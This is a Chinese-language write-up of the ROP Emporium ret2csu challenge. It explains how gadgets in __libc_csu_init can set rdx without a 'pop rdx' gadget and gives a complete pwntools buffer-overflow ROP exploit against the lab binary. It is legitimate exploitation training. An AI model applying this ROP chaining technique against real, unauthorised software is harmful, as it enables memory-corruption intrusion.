ROPEmporium通关全解(八)

前言
这次会用到Blackhat2018议题(return to csu)

操作
来到第八关
题目提示
ROPEmporium通关全解(八)_第1张图片没有合适的rop gadgets,该如何在没有pop rdx的情况下写入rdx呢

先看一下基本信息
ROPEmporium通关全解(八)_第2张图片载入r2
ROPEmporium通关全解(八)_第3张图片main没有什么值得注意的地方,我们直接看
pwnme的
ROPEmporium通关全解(八)_第4张图片可以看到要求rdx必须是指定的字符串
和ret2win的
ROPEmporium通关全解(八)_第5张图片我们先看看ropgadget
ROPEmporium通关全解(八)_第6张图片可以看到和rdx相关的只有
在这里插入图片描述
没有pop rdx,或mov rdx
所以理论上我们无法绕过关卡的限制,无法设置该寄存器
此时的解决方案是return to csu,这是blackhat 2018的议题,通过一个通用的gadget来制作rop
在afl命令的输出中我们看到有一个函数,名为__libc_csu_init
我们反汇编看看
ROPEmporium通关全解(八)_第7张图片在其中我们找到了两个gadget
第一个:
ROPEmporium通关全解(八)_第8张图片第二个:
在这里插入图片描述ROPEmporium通关全解(八)_第9张图片ROPEmporium通关全解(八)_第10张图片ROPEmporium通关全解(八)_第11张图片rdi是第一个参数,rsi是第二个参数,rdx是第三个参数
结合这两个gadget我们知道,rdi来自r13,rsi来自r14,rdx来自r15
前面提到我们要写0xdeadcafebabebeef到rdx,而从0x00400880可以看到写入r15就可以了。通过mov rdx,r15即可实现目的。
但是我们注意到第一个问题是第二个gadget的最后一条不是ret,而是call
call qword ptr [r12+rbx*8],由前可知,r12,rbx都是可控的,所以这个地址是可控的,不过为了控制目的地我们需要rbx和r12,这具体的值是什么呢?

注意到
ROPEmporium通关全解(八)_第12张图片第二个gadget后面是上图的三条指令
在cmp之前,rbx+1了,所以简单起见,我们设置rbx为0,rbp为1,这样cmp得到的结果就是相等
后面紧接着就是add rsp,8
ROPEmporium通关全解(八)_第13张图片我们知道rsp 是堆栈指针寄存器,通常会指向栈顶位置,堆栈的 pop 和push 操作就是通过改变 rsp 的值即移动堆栈指针的位置来实现的
这里的指令相当于增加了栈空间,我们可以随意填充相应大小即可

在上面我们设置了rbx为0,所以call的地址就是r12指定了
但是直接把ret2win的地址放入r12会报SIGSEGV
而为了有效地使用mov rdx,r15,我们必须确保调用QWORD PTR [r12 + rbx * 8]不是SIGSEGV,cmp rbx,rbp相等且最重要的是RDX的值不会改变。
根据这篇文章(https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html)描述的技巧,我们可以尝试调用__inti()函数,通过DYNAMIC变量定位
ROPEmporium通关全解(八)_第14张图片因为__init使用0x400560地址,我们的指针就是0x600e38
这些操作完成后,我们就可以正常地在栈上放入ret2win的地址
总结下我们做了哪些事情:
首先调用第一个gadget,地址是0x40089a
将需要的值放在栈上
r12寄存器上是指向__init地址的指针
r15寄存器是0xdeadcafebabebeef
rbx寄存器是0x0
rbp寄存器是0x1
第二个gadget地址是0x400880
因为有add rsp,8所以我们需要进行一些填充
将ret2win的值放在栈上

完整的代码在8.py

from pwn import *

ret2win_adr         = 0x4007b1
first_gadget_adr    = 0x40089a
second_gadget_adr   = 0x400880
init_pointer        = 0x600e38

payload = b"A"  * 40
payload += p64(first_gadget_adr)
payload += p64(0x00)            # pop rbx
payload += p64(0x01)            # pop rbp
payload += p64(init_pointer)    # pop r12
payload += p64(0x00)            # pop r13
payload += p64(0x00)            # pop r14
payload += p64(0xdeadcafebabebeef) # pop r15
payload += p64(second_gadget_adr)
payload += p64(0x00)            # add rsp,0x8 padding
payload += p64(0x00)            # rbx
payload += p64(0x00)            # rbp
payload += p64(0x00)            # r12
payload += p64(0x00)            # r13
payload += p64(0x00)            # r14
payload += p64(0x00)            # r15
payload += p64(ret2win_adr)

ret2csu = process('./ret2csu')


ret2csu.readuntil('>')

ret2csu.sendline(payload)

output = ret2csu.readall()
print(output)


运行如图
在这里插入图片描述


题目来自ROPEmporium,另参考如下资源:

https://medium.com/@int0x33/
https://paper.seebug.org/272/
https://www.rootnetsec.com/
https://bestwing.me/ropemporium-all-writeup.html
https://firmianay.github.io/2017/11/02/rop_emporium.html
https://www.oipapio.com/cn/article-5389490
http://ascii.911cha.com/
https://www.bejson.com/convert/ox2str/
https://larry.ngrep.me/2018/06/14/rop-emporium-write-up/
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
https://www.jianshu.com/p/a9ad38ad33e5
https://zhuanlan.zhihu.com/p/27339191
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html

你可能感兴趣的:(ROPEmporium通关全解(八))